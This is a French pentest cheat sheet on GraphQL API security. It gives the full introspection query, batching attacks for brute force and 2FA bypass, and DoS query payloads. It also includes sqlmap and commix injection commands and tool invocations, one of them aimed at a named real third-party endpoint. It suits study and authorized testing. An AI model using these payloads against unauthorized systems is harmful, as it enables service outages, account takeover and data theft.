📶GraphQL

Graph Query Language

Sites

Basics

GraphQL fonctionne en un seul endpoint qui ne renvoie que les informations exactement demandées.

Cette technologie fonctionne avec deux types de requêtes:

Les Queries

Les queries sont utilisées afin de recupérer des données à l'aide d'opérations spécifiquement définies. Ils s'agit grossièrement de l'équivalent de la méthode GET du protocole HTTP pour l'API.

Pour que les queries renvoient les données voulues, il faut que les données demandées correspondent exactement à celles souhaités dans la réponse du serveur. Les requêtes peuvent demander des arguments et sur la base de ces arguments, des données spécifiques peuvent être interrogés.

Exemple:

Les Mutations

Les mutations quant à elles sont utilisées pour ajouter, modifier ou supprimer des données dans le système. Il s'agit grossièrement de l'équivalent des méthodes PUT, DELETE et POST du protocole HTTP dans l'API. L'avantage de ce type de requêtes est qu'il est alors possible de demander à mettre à jour une donnée dans la même requête en changeant simplement le type de requête (query -> mutation).

Exemple:

Introspection

L'introspection est une fonctionnalité du système pouvant permettre si il est activé d'interroger les ressources disponibles dans le schéma de l'API. De ce fait, il est possible de dumper entièrement le schéma de l'API en envoyant postant ces données depuis l'endpoint de l'API:

{"query": "query IntrospectionQuery{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}" }

La taille de la réponse obtenue peut alors être très important rendant difficile le travail d'analyse mais heureusement il existe le site https://ivangoncharov.github.io/graphql-voyager/ permettant de convertir les données brutes obtenues en graphique plus lisible.

Fuzzing

Dans le cas ou l'introspection serait désactivé, il est nécessaire de fuzz l'endpoint pour trouver des endpoints.

Vulnérabilités

Classiques

Les API graphql nécessites de procéder aux mêmes tests que pour une API REST par exemple à savoir le Top 10 OWASP et autres vulnérabilités WEB.

Spécifique

Batching attack

La Batching attack est une attaque spécifique aux API graphql, elle permet d'envoyer plusieurs demandes à un seul endpoint et en une seule requête et ceux sans risque d'être bloqué.

Il s'agit donc d'une attaque parfaite dans les scénarios de brute-force et de bypass de 2FA (elle permet principalement de bypass les méchanismes de rate-limit).

Circular query attacks (DoS)

Trouver des cycles dans une introspection graphql:

$ inql -t https://chat-api.swapcard.com/graphql --generate-cycles -o cycles

Circular fragment attacks (DoS)

Duplication attacks (DoS)

la technique est simple, il s'agit de trouver un champs envoyant une très grande réponse et de dupliquer la demande plusieurs fois puis analyser le temps de réponse.

Exemple:

query {
    pastes {
        title
        content
        content
        content
        content
        content
        ...
        ...
    }
}

Alias Overloading (DoS)

Il est possible d'utiliser l'overloading d'alias dans un but de dénis de service de la même manière que pour l'attaque précédente en trouvant un champs utilisant beaucoup de ressources et en la dupliquant avec des alias différents pour les considérés comme des requêtes différentes.

Exemple:

query {
    pastes {
        title
        one:content
        two:content
        three:content
        four:content
        five:content
        ...
        ...
    }
}

Directive Overloading (DoS)

Il s'agit de la même chose qu'une duplication attack mais avec des directives de cette manière:

query {
    pastes {
        title @aa@aa@aa@aa...
        content @aa@aa@aa@aa...
}

Object Limit Overriding (DoS)

Les serveurs graphQL peuvent implémenter des limites sur la quantité de données qu'ils renvoient par défaut. Ceci est particulièrement important pour les champs qui renvoient des tableaux.

Si une requête peut utiliser un argument permettant de limiter le nombre de retours dans la réponse, (limit, offset, max...) on peut essayer d'entrer une très grande afin de forcer la base de donnée à renvoyer une quantité de données qui pourrait entraîner un DoS.

query {
    pastes(limit:100000, public: true) {
        content
    }
}

Fuites d'informations

  • Via erreurs verbeuses / stack traces

  • Via entrées de contenu sensibles dans une requête GET

  • Via debug mode activé (/graphql?debug=1, /graphql?XDEBUG_SESSION_START=PHPSTORM)

  • Via fuites d'infos dans la console du navigateur

Injections

SQLi

Privilégier les argument prenant des strings.

Automatisation avec sqlmap:

Dans la requête burp suite:

  • placer un asterisk (*) au point d'injection souhaité

  • Clic droit > "Copy to file"

  • $ sqlmap -r request.txt —dbms=sqlite —tables

OS injection

Exmple avec Commix:

$ commix --url="https://target.com/graphql" --data='{"query":"query{exemple(arg:"test ")}"}' -p arg

Outils

CrackQL

CrackQL est un outil de brute-forcing et fuzzing de GraphQL.

Exemple d'utilisation:

$ python3 CrackQL.py -t http://target.com/graphql -q sample-queries/login.graphql -i sample-inputs/usernames_and_passwords.csv --verbose [-b pour utiliser du batching]

ressource: https://github.com/nicholasaleks/CrackQL

Graphql-cop

graphql-cop est un scanner de vulnérabilité dédié aux APIs GraphQL.

Utilisation:

$ python3 graphql-cop.py -t https://target.com/graphql

ressource: https://github.com/dolevf/graphql-cop

BatchQL

BatchQL est un script d'audit de sécurité GraphQL axé sur l'exécution de requêtes et de mutations GraphQL par lots.

Utilisation:

$ python3 batch.py -e https://target.com/graphql

ressource: https://github.com/assetnote/batchql

Graphw00f

graphw00f est un scanner d'endpoint graphQL permettant de détecter le moteur graphql utilisé.

Utilisation:

$ python3 main.py -d -f -t https://target.com/graphql

ressource: https://github.com/dolevf/graphw00f

InQL

InQL est une extension de burp suite permettant d'arriver à un resultat semblable au site web "graphiql".

GraphQLmap

GraphQLmap est un outil permettant d'interagir avec les endpoints graphql.

ressource: https://github.com/swisskyrepo/GraphQLmap

Clairvoyance

Permet d'obtenir le schéma de l'API GraphQL même si l'introspection est désactivée.

ressource: https://github.com/nikitastupin/clairvoyance

Dernière mise à jour